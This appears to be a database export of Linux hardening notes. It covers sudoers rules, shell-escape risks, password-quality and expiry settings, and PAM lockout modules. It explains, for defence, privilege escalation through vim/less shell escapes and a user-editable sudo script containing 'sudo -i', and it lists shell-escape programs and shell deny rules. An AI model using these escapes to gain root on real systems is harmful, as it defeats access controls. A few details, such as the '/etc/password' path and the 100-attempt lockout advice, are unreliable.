`sudo` privileges.\nThen, log out of the *root* account and log back in with your normal user account and disable the *root* account: text txt 2024-07-28 10:10:19.084672 0 +5480 1626 sudo passwd -l root code txt 2024-07-28 10:10:19.105617 0 +5481 1627 You can either create an entry for an individual user or create a user alias. text txt 2024-07-28 10:10:19.484791 0 +5482 1627 ADMINS ALL=(ALL) ALL code txt 2024-07-28 10:10:19.505402 0 +5483 1627 It’s also possible to add a sudo entry for just a single user, and you might need to do that under very special circumstances. text txt 2024-07-28 10:10:19.526525 0 +5484 1627 frank ALL=(ALL) ALL code txt 2024-07-28 10:10:19.549121 0 +5485 1628 You can, for example, create a `BACKUPADMINS` user alias for backup administrators, a `WEBADMINS` user alias for web server administrators, or whatever else you desire: text txt 2024-07-28 10:10:20.075666 0 +5486 1628 User_Alias SOFTWAREADMINS = vicky, cleopatra code txt 2024-07-28 10:10:20.095738 0 +5487 1628 Then assign some duties to the user alias: text txt 2024-07-28 10:10:20.116078 0 +5488 1628 Cmnd_Alias SOFTWARE = /bin/rpm, /usr/bin/up2date, /usr/bin/yum code txt 2024-07-28 10:10:20.135884 0 +5489 1628 Now, it’s just a simple matter of assigning the `SOFTWARE` command alias to the `SOFTWAREADMINS` user alias: text txt 2024-07-28 10:10:20.156596 0 +5490 1628 SOFTWAREADMINS ALL=(ALL) SOFTWARE code txt 2024-07-28 10:10:20.177908 0 +5491 1629 The way sudo works is that if a command is listed by itself, then the assigned user can use that command with any subcommands, options, or arguments. text txt 2024-07-28 10:10:20.737541 0 +5492 1629 Cmnd_Alias SERVICES = /sbin/service, /sbin/chkconfig, /usr/bin/systemctl start, /usr/bin/systemctl stop, /usr/bin/systemctl reload, /usr/bin/systemctl restart, /usr/bin/systemctl status, /usr/bin/systemctl enable, /usr/bin/systemctl disable code txt 2024-07-28 10:10:20.757943 0 +5493 1629 But when a command is listed in the command alias with a subcommand, option, or argument, that’s all anyone who’s assigned to the command alias can run. text txt 2024-07-28 10:10:20.778729 0 +5494 1629 You can eliminate all of the `systemctl` subcommands and make the `SERVICES` alias look like this: text txt 2024-07-28 10:10:20.799861 0 +5495 1629 Cmnd_Alias SERVICES = /sbin/service, /sbin/chkconfig, /usr/bin/systemctl code txt 2024-07-28 10:10:20.82108 0 +5496 1629 But if you do that, Lionel and Charlie will also be able to shut down or reboot the system, edit the services files, or change the machine from one systemd target to another. text txt 2024-07-28 10:10:20.843796 0 +5497 1629 Because the `systemctl` command covers a lot of different functions, you have to be careful not to allow delegated users to access too many of those functions.\nA better solution would be to add a wildcard to each of the systemctl subcommands: text txt 2024-07-28 10:10:20.86532 0 +5498 1629 Cmnd_Alias SERVICES = /sbin/service, /sbin/chkconfig, /usr/bin/systemctl start *, /usr/bin/systemctl stop *, /usr/bin/systemctl reload *, /usr/bin/systemctl restart *, /usr/bin/systemctl status *, /usr/bin/systemctl enable *, /usr/bin/ systemctl disable * code txt 2024-07-28 10:10:20.886885 0 +5499 1630 katelyn ALL=(ALL) STORAGE\ngunther ALL=(ALL) /sbin/fdisk -l\n%backup_admins ALL=(ALL) BACKUP code txt 2024-07-28 10:10:21.170933 0 +5500 1631 Each host alias consists of a list of server hostnames.\nThis is what allows you to create one sudoers file on one machine and deploy it across the network.\nFor example, you could create a `WEBSERVERS` host alias, a `WEBADMINS` user alias, and a `WEBCOMMANDS` command alias with the appropriate commands: text txt 2024-07-28 10:10:21.537662 0 +5501 1631 Host_Alias WEBSERVERS = webserver1, webserver2\nUser_Alias WEBADMINS = junior, kayla\nCmnd_Alias WEBCOMMANDS = /usr/bin/systemctl status httpd, /usr/bin/systemctl start httpd, /usr/bin/systemctl stop httpd, /usr/bin/systemctl restart httpd\nWEBADMINS WEBSERVERS=(ALL) WEBCOMMANDS code txt 2024-07-28 10:10:21.558463 0 +5502 1632 Even though `sudo` is a security tool, certain things that you can do with it can make your system even more insecure than it was. text txt 2024-07-28 10:10:22.040365 0 +5503 1632 By default, the sudo timer is set for 5 minutes.\nAlthough this is obviously handy, it can also be problematic if users were to walk away from their desks with a command terminal still open. text txt 2024-07-28 10:10:22.061569 0 +5504 1632 You can easily disable this timer by adding a line to the *Defaults* section of the sudoers file: text txt 2024-07-28 10:10:22.082131 0 +5505 1632 Defaults timestamp_timeout = 0 code txt 2024-07-28 10:10:22.102783 0 +5506 1632 If you need to leave your desk for a moment, your best action would be to log out of the server first.\nShort of that, you could just reset the sudo timer by running this command: text txt 2024-07-28 10:10:22.123873 0 +5507 1632 sudo -k code txt 2024-07-28 10:10:22.144246 0 +5508 1633 sudo -l code txt 2024-07-28 10:10:22.399322 0 +5509 1634 By assigning shell commands to users in sudo policy file, you have effectively given them full `sudo` privileges. text txt 2024-07-28 10:10:23.558204 0 +5510 1634 maggie ALL=(ALL) /bin/bash, /bin/zsh code txt 2024-07-28 10:10:23.577703 0 +5511 1634 This should be avoided all the time. text txt 2024-07-28 10:10:23.599026 0 +5512 1634 But certain programs, especially text editors like `vi` and pagers like `less`, also have a handy shell escape feature. text txt 2024-07-28 10:10:23.618728 0 +5513 1634 Imagine that you want Frank to be able to edit the `sshd_config` file and only that file.\nYou might be tempted to add a line to your sudo configuration that would look like this: text txt 2024-07-28 10:10:23.63967 0 +5514 1634 frank ALL=(ALL) /bin/vim /etc/ssh/sshd_config code txt 2024-07-28 10:10:23.66018 0 +5515 1634 Once Frank has opened the `sshd_config` file with his sudo privilege, he can then use Vim’s shell escape feature to perform other root-level commands, which includes being able to edit other configuration files, create new users, manipulate system services, or install malware. text txt 2024-07-28 10:10:23.681604 0 +5516 1634 You can fix this problem by having users use sudoedit instead of vim: text txt 2024-07-28 10:10:23.702562 0 +5517 1634 frank ALL=(ALL) sudoedit /etc/ssh/sshd_config code txt 2024-07-28 10:10:23.723157 0 +5518 1634 Other programs that have a shell escape feature include the following: text txt 2024-07-28 10:10:23.74315 0 +5519 1634 * vim\n* emacs\n* less\n* view\n* more text txt 2024-07-28 10:10:23.763873 0 +5520 1634 To deal with them, use the `NOEXEC:` option when we set up our sudoers rules. text txt 2024-07-28 10:10:23.784463 0 +5521 1634 vicky ALL=(ALL) /usr/bin/less code txt 2024-07-28 10:10:23.805164 0 +5522 1634 sudo less messages code txt 2024-07-28 10:10:23.82605 0 +5523 1634 To open a shell from within less, Vicky will type `!bash` instead of `:shell` and a new shell will be spawned. text txt 2024-07-28 10:10:23.846609 0 +5524 1634 To fix that we use the `NOEXEC:` option to the sudoers rule: text txt 2024-07-28 10:10:23.868001 0 +5525 1634 vicky ALL=(ALL) NOEXEC: /usr/bin/less code txt 2024-07-28 10:10:23.888924 0 +5526 1634 This prevents Vicky from escaping to even her own shell. text txt 2024-07-28 10:10:23.90871 0 +5527 1635 Some programs that don’t have shell escapes can still be dangerous if you give users unrestricted privileges to use them. text txt 2024-07-28 10:10:24.235062 0 +5528 1635 * cat\n* cut\n* awk\n* sed text txt 2024-07-28 10:10:24.256397 0 +5529 1635 If you must give someone sudo privileges to use one of these programs, it’s best to limit their use to only specific files. text txt 2024-07-28 10:10:24.276209 0 +5530 1636 You can use host aliases to ensure that servers will only allow the execution of commands that are appropriate for their operating systems.\nAlso, be aware that some system services have different names on different Linux distributions.\nOn Red Hat-type systems, the Secure Shell service is `sshd`. On Debian/Ubuntu systems, it’s just plain `ssh`. text txt 2024-07-28 10:10:24.487091 0 +5531 1637 In the following line, *(ALL)* means that Sylvester can run the `systemctl` commands as any user: text txt 2024-07-28 10:10:25.083997 0 +5532 1637 sylvester ALL=(ALL) /usr/bin/systemctl status sshd, /usr/bin/systemctl restart sshd code txt 2024-07-28 10:10:25.10584 0 +5533 1637 You could, if desired, change that *(ALL)* to *(root)* in order to specify that Sylvester can only run these commands as the root user: text txt 2024-07-28 10:10:25.127106 0 +5534 1637 sylvester ALL=(root) /usr/bin/systemctl status sshd, /usr/bin/systemctl restart sshd code txt 2024-07-28 10:10:25.148253 0 +5535 1637 Okay, there’s probably not much point in that because nothing changes. text txt 2024-07-28 10:10:25.168947 0 +5536 1637 But there are more practical uses for this feature.\nLet’s say that Vicky is a database admin, and you want her to run as the database user: text txt 2024-07-28 10:10:25.189909 0 +5537 1637 vicky ALL=(database) /usr/local/sbin/some_database_script.sh code txt 2024-07-28 10:10:25.209747 0 +5538 1637 Vicky could then run the command as the database user by entering the following command: text txt 2024-07-28 10:10:25.230954 0 +5539 1638 Let’s have Frank create the `frank_script.sh` shell script: text txt 2024-07-28 10:10:26.186548 0 +5540 1638 sudo -u database some_database_script.sh code txt 2024-07-28 10:10:26.20756 0 +5541 1638 add this rule for Frank: text txt 2024-07-28 10:10:26.228315 0 +5542 1638 frank ALL=(ALL) /home/frank/frank_script.sh code txt 2024-07-28 10:10:26.250421 0 +5543 1638 Since this file is in Frank’s own home directory and he is its owner, he can edit it any way he wants. text txt 2024-07-28 10:10:26.270566 0 +5544 1638 #!/bin/bash text txt 2024-07-28 10:10:26.290061 0 +5545 1638 echo "This script belongs to Frank the Cat."\nsudo -i code txt 2024-07-28 10:10:26.311103 0 +5546 1638 What `sudo -i` does is to log a person in to the root user’s shell, the same way that `sudo su -` does.\nIf Frank were to do `sudo -i` from his own command prompt, it would fail because he doesn’t have the privilege to do that. text txt 2024-07-28 10:10:26.331702 0 +5547 1638 To remedy this, move Frank’s script to the `/usr/local/sbin/` directory and change the ownership to the root user so that Frank won’t be able to edit it.\nAnd of course, before I do that, I’ll make sure to delete that `sudo -i` line from it: text txt 2024-07-28 10:10:26.352625 0 +5548 1638 mv frank_script.sh /usr/local/sbin\nchown root: /usr/local/sbin/frank_script.sh code txt 2024-07-28 10:10:26.373972 0 +5549 1638 Finally, I’ll open `visudo` and change his rule to reflect the new location of the script.\nThe new rule looks like this: text txt 2024-07-28 10:10:26.394227 0 +5550 1638 frank ALL=(ALL) /usr/local/sbin/frank_script.sh code txt 2024-07-28 10:10:26.414127 0 +5551 1638 Frank can still run the script, but he can’t edit it. text txt 2024-07-28 10:10:26.435101 0 +5552 1639 The first thing you want to do after setting up a system is to set up your own user account, give it a good password, and give it sudo privileges.\nThen get rid of that default account, because leaving it in place, especially if you leave the default password, is just asking for trouble. text txt 2024-07-28 10:10:26.942627 0 +5553 1639 Look in the `/etc/password` file on *RaspEX*, and you’ll see the default user there: text txt 2024-07-28 10:10:26.962404 0 +5554 1639 raspex:x:1000:1000:,,,:/home/raspex:/bin/bash code txt 2024-07-28 10:10:26.982208 0 +5555 1639 Then, look in the `/etc/sudoers` file, and you’ll see this line, which allows the *raspex* user to do all `sudo` commands without having to enter a password: text txt 2024-07-28 10:10:27.001091 0 +5556 1639 raspex ALL=(ALL) NOPASSWD: ALL code txt 2024-07-28 10:10:27.021536 0 +5557 1639 Another thing to watch out for is that some Linux distributions for IoT devices have this rule in a separate file in the `/etc/sudoers.d` directory, instead of in the main sudoers file.\nEither way, you’ll want to delete this rule, as well as the default user account, when you set up your IoT device.\nAnd of course, you’ll also want to change the root user password, and then lock the root user account. text txt 2024-07-28 10:10:27.04408 0 +5558 1640 When you install a SUSE distro you and the root user will both have the same password. text txt 2024-07-28 10:10:27.734648 0 +5559 1640 When you do `sudo visudo` on a SUSE machine, you’ll see these two lines that you don’t see on any other Linux distro: text txt 2024-07-28 10:10:27.754898 0 +5560 1640 Defaults targetpw # ask for the password of the target user i.e.\nroot ALL ALL=(ALL) ALL # WARNING! Only use this together with 'Defaults targetpw'! code txt 2024-07-28 10:10:27.776564 0 +5561 1640 Replace previous rules with: text txt 2024-07-28 10:10:27.796601 0 +5562 1640 %wheel ALL=(ALL:ALL) ALL code txt 2024-07-28 10:10:27.817443 0 +5563 1640 Add users to *wheel* group: text txt 2024-07-28 10:10:27.838014 0 +5564 1640 usermod -a -G wheel frank code txt 2024-07-28 10:10:27.858006 0 +5565 1640 Then disable the *root* user: text txt 2024-07-28 10:10:27.877236 0 +5566 1640 sudo passwd -l root code txt 2024-07-28 10:10:27.897854 0 +5567 1641 Defaults log_format=json code txt 2024-07-28 10:10:28.150518 0 +5568 1642 Defaults log_server=172.16.167.150 code txt 2024-07-28 10:10:28.51157 0 +5569 1642 If you want JSON-formatted log messages, you need the following setting in the `[eventlog]` section of the `/etc/sudo_logsrvd.conf` file: text txt 2024-07-28 10:10:28.532339 0 +5570 1642 log_format = json code txt 2024-07-28 10:10:28.553846 0 +5571 1643 Defaults log_subcmds code txt 2024-07-28 10:10:28.815421 0 +5572 1644 Let's say the `who` command is dangerous. text txt 2024-07-28 10:10:29.37055 0 +5573 1644 Defaults intercept\nfrank ALL = (ALL) ALL, !/usr/bin/who code txt 2024-07-28 10:10:29.391645 0 +5574 1644 Now users will be prevented to run the `who` command even when they try to run it within a shell opened by `sudo`. text txt 2024-07-28 10:10:29.411688 0 +5575 1644 You can easily disable running shells altogether: text txt 2024-07-28 10:10:29.431565 0 +5576 1644 Defaults intercept\nCmnd_Alias SHELLS=/usr/bin/bash, /usr/bin/sh, /usr/bin/csh\nfrank ALL = (ALL) ALL, !SHELLS code txt 2024-07-28 10:10:29.45265 0 +5577 1644 Not only users cannot start shell sessions through `sudo`, also they cannot execute external commands from editors either. text txt 2024-07-28 10:10:29.47308 0 +5578 1645 `/etc/login.defs` configuration file. text txt 2024-07-28 10:10:29.671255 0 +5579 1646 By default, the `useradd` utility on Red Hat-type systems creates user home directories with a permissions setting of `700`, configured in `/etc/login.defs` file. text txt 2024-07-28 10:10:29.994773 0 +5580 1646 CREATE_HOME yes\nUMASK 077 code txt 2024-07-28 10:10:30.016192 0 +5581 1647 By default, `HOME_MODE` directive in `/etc/login.defs` configuration file is used to set permission for new user home directories.\nBut if `HOME_MODE` is not set, the value of `UMASK` is used to create the mode. text txt 2024-07-28 10:10:30.542138 0 +5582 1647 On RHEL 8 or RHEL 9-type distro, such as AlmaLinux, the `UMASK` is set for wide-open permissions: text txt 2024-07-28 10:10:30.561888 0 +5583 1647 UMASK 022 code txt 2024-07-28 10:10:30.582189 0 +5584 1647 But even though the `UMASK` is wide-open, when `HOME_MODE` is set properly, new user home directories still get properly locked down: text txt 2024-07-28 10:10:30.603541 0 +5585 1647 HOME_MODE 0700 code txt 2024-07-28 10:10:30.625474 0 +5586 1647 Either the `HOME_MODE` line or the `UMASK` line is in the login.defs file for all Linux distros, but until recently, Red Hat-type distros have been the only ones that have had them set to a restrictive value by default. text txt 2024-07-28 10:10:30.646476 0 +5587 1647 UMASK 077 code txt 2024-07-28 10:10:30.667775 0 +5636 1654 The `EXPIRE=` line sets the default expiration date for new user accounts. text txt 2024-07-28 10:10:35.771883 0 +5588 1648 The default permission set to users' home directories on Debian-based systems is wide-open, it should be fixed: text txt 2024-07-28 10:10:31.164142 0 +5589 1648 cd /home\nsudo chmod 700 * code txt 2024-07-28 10:10:31.184703 0 +5590 1648 To change the default permissions setting for home directories, edit `/etc/login.defs` configuration file and set directive values accordingly: text txt 2024-07-28 10:10:31.206071 0 +5591 1648 UMASK 077\nHOME_MODE 0750 code txt 2024-07-28 10:10:31.225572 0 +5592 1648 This includes access permissions for a user’s own personal group, but that’s okay. It still effectively means that only the respective owners of the various home directories can get into them. text txt 2024-07-28 10:10:31.245382 0 +5593 1649 Debian-based distros have two user creation utilities: text txt 2024-07-28 10:10:31.599198 0 +5594 1649 * `useradd`\n* `adduser` text txt 2024-07-28 10:10:31.620506 0 +5595 1649 The `useradd` utility on Debian-based systems does not create user home directory and does not set user shell by default.\nSo the command should be used like this: text txt 2024-07-28 10:10:31.641288 0 +5596 1649 sudo useradd -m -d /home/frank -s /bin/bash frank code txt 2024-07-28 10:10:31.662463 0 +5597 1650 The `adduser` utility is an interactive way to create user accounts and passwords with a single command, which is unique to the Debian family of Linux distros. text txt 2024-07-28 10:10:32.0583 0 +5598 1650 On Debian and Ubuntu 20.04, it creates user home directories with the wide-open 755 permissions value.\nFix it by overwriting the `DIR_MODE` directive in `/etc/adduser.conf` file: text txt 2024-07-28 10:10:32.08009 0 +5599 1650 DIR_MODE=700 code txt 2024-07-28 10:10:32.101245 0 +5600 1650 One thing that `adduser` can do that `useradd` can’t is to automatically encrypt a user’s home directory as you create the account. text txt 2024-07-28 10:10:32.12317 0 +5601 1651 You’ll first have to install the `ecryptfs-utils` package. text txt 2024-07-28 10:10:32.680279 0 +5602 1651 sudo apt install ecryptfs-utils code txt 2024-07-28 10:10:32.700209 0 +5603 1651 Create a user account with an encrypted home directory for Cleopatra and then view the results: text txt 2024-07-28 10:10:32.721527 0 +5604 1651 sudo adduser --encrypt-home cleopatra code txt 2024-07-28 10:10:32.742606 0 +5605 1651 Log in as Cleopatra and run the `ecryptfs-unwrap-passphrase` command: text txt 2024-07-28 10:10:32.764003 0 +5606 1651 su - cleopatra\necryptfs-unwrap-passphrase\nexit code txt 2024-07-28 10:10:32.785023 0 +5607 1651 Note that some of the information that `adduser` asks for is optional, and you can just hit the *Enter* key for those items. text txt 2024-07-28 10:10:32.80546 0 +5608 1652 We’ll be using the `pwquality` module for the **Pluggable Authentication Module (PAM)**.\nThis is a newer technology that has replaced the old *cracklib* module.\nOn any Red Hat 7 or newer type of system, and on SUSE and OpenSUSE, `pwquality` is installed by default, even if you do a minimal installation. text txt 2024-07-28 10:10:34.292562 0 +5609 1652 If you `cd` into the `/etc/pam.d/` directory, you can do a `grep` operation to check that the PAM configuration files are already set up.\n`retry=3` means that a user will only have three tries to get the password right when logging in to the system: text txt 2024-07-28 10:10:34.313836 0 +5610 1652 grep 'pwquality' * code txt 2024-07-28 10:10:34.334686 0 +5611 1652 On Debian and Ubuntu, you’ll need to install `pwquality` yourself: text txt 2024-07-28 10:10:34.355614 0 +5612 1652 sudo apt install libpam-pwquality code txt 2024-07-28 10:10:34.376695 0 +5613 1652 The rest of the procedure is the same for all of our operating systems and consists of just editing the `/etc/security/pwquality.conf` file. text txt 2024-07-28 10:10:34.397725 0 +5614 1652 No password complexity criteria are in effect after installation. text txt 2024-07-28 10:10:34.418518 0 +5615 1652 The minimum length setting works on a credit system.\nThis means that for every different type of character class in the password, the minimum required password length will be reduced by one character. text txt 2024-07-28 10:10:34.440375 0 +5616 1652 For example, let’s set minlen to a value of 19 and try to assign Katelyn the password of *turkeylips*: text txt 2024-07-28 10:10:34.459694 0 +5617 1652 minlen = 19 code txt 2024-07-28 10:10:34.480802 0 +5618 1652 Because the lowercase characters in *turkeylips* count as credit for one type of character class, we’re only required to have 18 characters instead of 19.\nIf we try this again with *TurkeyLips*, the uppercase T and uppercase L count as a second character class, so we only need to have 17 characters in the password. text txt 2024-07-28 10:10:34.502009 0 +5619 1652 Let’s say that you don’t want lowercase letters to count toward your credits: text txt 2024-07-28 10:10:34.522086 0 +5620 1652 lcredit = 1 code txt 2024-07-28 10:10:34.543395 0 +5621 1652 change the 1 to a 0: text txt 2024-07-28 10:10:34.564369 0 +5622 1652 lcredit = 0 code txt 2024-07-28 10:10:34.585317 0 +5623 1652 Then, try assigning Katelyn *turkeylips* as a password. text txt 2024-07-28 10:10:34.604769 0 +5624 1652 This time, the `pwquality` really does want 19 characters.\nIf we set a credit value to something higher than 1, we would get credit for multiple characters of the same class type up to that value. text txt 2024-07-28 10:10:34.626082 0 +5625 1652 We can also set the credit values to negative numbers in order to require a certain number of characters types in a password. text txt 2024-07-28 10:10:34.646833 0 +5626 1652 dcredit = -3 code txt 2024-07-28 10:10:34.667068 0 +5627 1652 This would require at least three digits in a password.\nHowever, it’s a really bad idea to use this feature, because someone who’s doing a password attack would soon find the patterns that you require,\nwhich would help the attacker to direct the attack more precisely.\nIf you need to require that a password has multiple character types, it would be better to use the minclass parameter: text txt 2024-07-28 10:10:34.688454 0 +5628 1652 minclass = 3 code txt 2024-07-28 10:10:34.709024 0 +5629 1652 It’s already set to a value of 3, which would require characters from three different classes. To use this value, all you have to do is to remove the comment symbol. text txt 2024-07-28 10:10:34.730092 0 +5630 1652 In the `/etc/login.defs` file on your CentOS 7 machine, you’ll see the line `PASS_MIN_LEN 5`.\nSupposedly, this is to set the minimum password length, but in reality, `pwquality` overrides it.\nSo, you could set this value to anything at all, and it would have no effect. (Note that the `PASS_MIN_LEN` parameter is no longer supported on RHEL 8/9-type distros.) text txt 2024-07-28 10:10:34.750742 0 +5631 1653 With the `chage` utility, you can either set password and account expiration data for other users or use the `-l` option to view expiration data.\nAny unprivileged user can use `chage -l` without `sudo` to view his or her own data. text txt 2024-07-28 10:10:35.111493 0 +5632 1653 let’s first look at where the default settings are stored.\nDefault settings are stored in `/etc/login.defs` file. text txt 2024-07-28 10:10:35.131765 0 +5633 1653 ```\nPASS_MAX_DAYS 99999\nPASS_MIN_DAYS 0\nPASS_WARN_AGE 7\n`````` text txt 2024-07-28 10:10:35.151926 0 +5634 1654 The `/etc/default/useradd` file has the default settings. text txt 2024-07-28 10:10:35.728854 0 +5635 1654 Ubuntu also has the `useradd` configuration file, but it doesn’t work.\nNo matter how you configure it, the Ubuntu version of useradd just won’t read it. So, the write-up about this file only applies to Red Hat-type systems. text txt 2024-07-28 10:10:35.750366 0 +5637 1654 By default, there is no default expiration date.\n`INACTIVE=-1` means that user accounts won’t be automatically locked out after the users’ passwords expire.\nIf we set this to a positive number, then any new users will have that many days to change an expired password before the account gets locked. text txt 2024-07-28 10:10:35.793002 0 +5638 1654 To change the defaults in the `useradd` file, you can either hand-edit the file or use `useradd -D` with the appropriate option switch for the item that you want to change. text txt 2024-07-28 10:10:35.813415 0 +5639 1654 For example, to set a default expiration date of December 31, 2025, the command would be as follows: text txt 2024-07-28 10:10:35.835386 0 +5640 1654 sudo useradd -D -e 2025-12-31 code txt 2024-07-28 10:10:35.856425 0 +5641 1654 To see the new configuration, you can either open the `useradd` file or just do `sudo useradd -D`. text txt 2024-07-28 10:10:35.878304 0 +5642 1654 `useradd` doesn’t do any safety checks to ensure that the default shell that you’ve assigned is installed on the system. text txt 2024-07-28 10:10:35.898531 0 +5643 1655 There are three ways that you can do this: text txt 2024-07-28 10:10:36.76775 0 +5644 1655 1. Use `useradd` with the appropriate option switches to set expiry data as you create the accounts.\n2. Use `usermod` to modify expiry data on existing accounts.\n3. Use `chage` to modify expiry data on existing accounts. text txt 2024-07-28 10:10:36.789019 0 +5645 1655 You can use `useradd` and `usermod` to set account expiry data, but not to set password expiry data. text txt 2024-07-28 10:10:36.809841 0 +5646 1655 * -e: Use this to set an expiration date for the account, in the form YYYY-MM-DD.\n* -f: Use this to set the number of days after the user’s password expires that you want for his or her account to get locked out. text txt 2024-07-28 10:10:36.830364 0 +5647 1655 Let’s say that you want to create an account for Charlie that will expire at the end of 2025. text txt 2024-07-28 10:10:36.849801 0 +5648 1655 sudo useradd -e 2025-12-31 charlie\nsudo useradd -m -d /home/charlie -s /bin/bash -e 2025-12-31 charlie code txt 2024-07-28 10:10:36.870248 0 +5649 1655 Verify what you’ve entered: text txt 2024-07-28 10:10:36.890745 0 +5650 1655 sudo chage -l charlie code txt 2024-07-28 10:10:36.911309 0 +5651 1655 Now, let’s say that Charlie’s contract has been extended, and you need to change his account expiration to the end of January 2026. text txt 2024-07-28 10:10:36.932869 0 +5652 1655 sudo usermod -e 2026-01-31 charlie code txt 2024-07-28 10:10:36.953372 0 +5653 1655 Optionally, you can set the number of days before an account with an expired password will get locked out: text txt 2024-07-28 10:10:36.973922 0 +5654 1655 sudo usermod -f 5 charlie code txt 2024-07-28 10:10:36.994377 0 +5655 1655 But if you were to do that now, you wouldn’t see any difference in the `chage -l` output because we still haven’t set expiration data for Charlie’s password. text txt 2024-07-28 10:10:37.016342 0 +5656 1656 You will only use `chage` to modify existing accounts, and you will use it for setting either an account expiration or a password expiration. text txt 2024-07-28 10:10:37.393506 0 +5657 1656 * `-d` If you use the `-d` 0 option on someone’s account, you’ll force the user to change his or her password on their next login.\n* `-E` This is equivalent to the lowercase `-e` for useradd or usermod. It sets the expiration date for the user account.\n* `-I` This is equivalent to `-f` for useradd or usermod. It sets the number of days before an account with an expired password will be locked out.\n* `-m` This sets the minimum number of days between password changes. In other words, if Charlie changes his password today, the `-m 5` option will force him to wait five days before he can change his password again.\n* `-M` This sets the maximum number of days before a password expires. (Be aware, though, that if Charlie last set his password 89 days ago, using a `-m 90` option on his account will cause his password to expire tomorrow, not 90 days from now.)\n* -W This will set the number of warning days for passwords that are about to expire. text txt 2024-07-28 10:10:37.417855 0 +5658 1656 sudo chage -E 2026-02-28 -I 4 -m 3 -M 90 -W 4 charlie code txt 2024-07-28 10:10:37.438983 0 +5659 1657 sudo chage -d 0 samson\nsudo passwd -e samson code txt 2024-07-28 10:10:37.666987 0 +5660 1658 Set the lockout value to something realistic, such as 100 failed login attempts.\nThis will provide good security, while still giving you enough time to gather information about the attackers. text txt 2024-07-28 10:10:38.624629 0 +5661 1658 On RHEL 7-type systems and Ubuntu 18.04, you’ll do this by configuring the `pam_tally2` PAM.\nOn RHEL 8/9-type systems and Ubuntu 20.04/22.04, you’ll instead configure the `pam_faillock` PAM module. text txt 2024-07-28 10:10:38.645566 0 +5662 1658 The `pam_tally2` module comes already installed on CentOS 7, but it isn’t configured.\nWe’ll begin by editing the `/etc/pam.d/login` file. text txt 2024-07-28 10:10:38.667267 0 +5663 1658 If you’re working with a text-mode server, you’ll only need to configure the `/etc/pam.d/login` file.\nBut if you’re working with a machine that’s running a graphical desktop environment, you’ll also need to configure the `/etc/pam.d/password.auth` and `/etc/pam.d/system.auth` files. text txt 2024-07-28 10:10:38.688446 0 +5664 1658 In the second line of the example, we see that `pam_tally2` is set with the following parameters: text txt 2024-07-28 10:10:38.709154 0 +5665 1658 * `deny=4`: This means that the user account under attack will get locked out after only four failed login attempts.\n* `even_deny_root`: This means that even the root user account will get locked if it’s under attack.\n* `unlock_time=1200`: The account will get automatically unlocked after 1,200 seconds, or 20 minutes. text txt 2024-07-28 10:10:38.730199 0 +5666 1658 Once you’ve configured the login file and have had a failed login, you’ll see a new file created in the `/var/log` directory.\nYou’ll view information from that file with the `pam_tally2` utility.\nYou can also use `pam_tally2` to manually unlock a locked account if you don’t want to wait for the timeout period: text txt 2024-07-28 10:10:38.751105 0 +5667 1658 sudo pam_tally2\nsudo pam_tally2 --user=charlie --reset\nsudo pam_tally2 code txt 2024-07-28 10:10:38.772604 0 +5668 1658 Configuring `pam_tally2` is super easy because it only requires adding one line to the `/etc/pam.d/login`, `/etc/pam.d/password.auth`, and `/etc/pam.d/system.auth` files.\nTo make things even easier, you can just copy and paste that line from the example on the `pam_tally2` man page. text txt 2024-07-28 10:10:38.793585 0 +5669 1658 On the CentOS 7 virtual machine, open the `/etc/pam.d/login` file for editing.\nLook for the line that invokes the `pam_securetty` module. insert this line: text txt 2024-07-28 10:10:38.814212 0 +5670 1658 ```\nauth required pam_tally2.so deny=4 even_deny_root unlock_time=1200\n`````` text txt 2024-07-28 10:10:38.835019 0 +5671 1658 Place the same line at the top of the `/etc/pam.d/password.auth` and `/etc/pam.d/system`. text txt 2024-07-28 10:10:38.855525 0 +5672 1658 `pam_tally2` doesn’t work with su. text txt 2024-07-28 10:10:38.876666 0 +5673 1659 The `pam_faillock` module is already installed on any RHEL 8 or RHEL 9-type of Linux distro. text txt 2024-07-28 10:10:40.09362 0 +5674 1659 Although you can enable and configure `pam_faillock` by hand-editing the PAM configuration files, the RHEL distros provide an easier method, which is called `authselect`.\nOn either an AlmaLinux 8 or AlmaLinux 9 VM, view the available `authselect` profiles by doing: text txt 2024-07-28 10:10:40.1153 0 +5676 1659 For now, at least, we’re only dealing with local users.\nSo, we’ll use the minimal profile.\nView the features of this profile like this: text txt 2024-07-28 10:10:40.157213 0 +5677 1659 sudo authselect list-features minimal code txt 2024-07-28 10:10:40.177518 0 +5678 1659 Note that there are a lot of included features, but we’re only interested in the **with-faillock** feature. text txt 2024-07-28 10:10:40.198068 0 +5679 1659 sudo authselect select minimal --force code txt 2024-07-28 10:10:40.218001 0 +5680 1659 After enabling a profile, we can now enable the `pam_faillock` module, like this: text txt 2024-07-28 10:10:40.238648 0 +5681 1659 sudo authselect enable-feature with-faillock code txt 2024-07-28 10:10:40.259195 0 +5682 1659 In the `/etc/security/` directory, open the `faillock.conf` file in your favorite text editor. text txt 2024-07-28 10:10:40.278739 0 +5683 1659 ```\n# silent\n# deny = 3\n# unlock_time = 600\n# even_deny_root\n`````` text txt 2024-07-28 10:10:40.299157 0 +5684 1659 Remove the preceding comment symbols from all four lines, and save the file. text txt 2024-07-28 10:10:40.319278 0 +5685 1659 Create a user account for Vicky by doing: text txt 2024-07-28 10:10:40.339731 0 +5686 1659 sudo useradd vicky sudo passwd vicky code txt 2024-07-28 10:10:40.35965 0 +5687 1659 Open another terminal, and have Vicky deliberately make three failed login attempts.\nView the results in your own terminal, like this: text txt 2024-07-28 10:10:40.379129 0 +5688 1659 sudo faillock\nsudo faillock --reset --user vicky code txt 2024-07-28 10:10:40.399853 0 +5689 1660 Sadly, the `authselect` utility isn’t available for Ubuntu, so we’ll just have to hand-edit the PAM configuration files. text txt 2024-07-28 10:10:40.876413 0 +5690 1660 Open the `/etc/pam.d/common-auth` file in your favorite text editor.\nAt the top of the file, insert these two lines: text txt 2024-07-28 10:10:40.896523 0 +5691 1660 ```\nauth required pam_faillock.so preauth silent\nauth required pam_faillock.so authfail\n`````` text txt 2024-07-28 10:10:40.917487 0 +5692 1660 Open the `/etc/pam.d/common-account` file in your text editor.\nAt the bottom of the file, add this line: text txt 2024-07-28 10:10:40.939241 0 +5693 1660 ```\naccount required pam_faillock.so\n`````` text txt 2024-07-28 10:10:40.960485 0 +5694 1660 Configure the `/etc/security/faillock.conf` file. text txt 2024-07-28 10:10:40.98146 0 +5695 1661 There are two utilities that you can use to temporarily lock a user account: text txt 2024-07-28 10:10:41.517072 0 +5696 1661 * usermod\n* passwd text txt 2024-07-28 10:10:41.538524 0 +5697 1661 We can lock and unlock an account by doing: text txt 2024-07-28 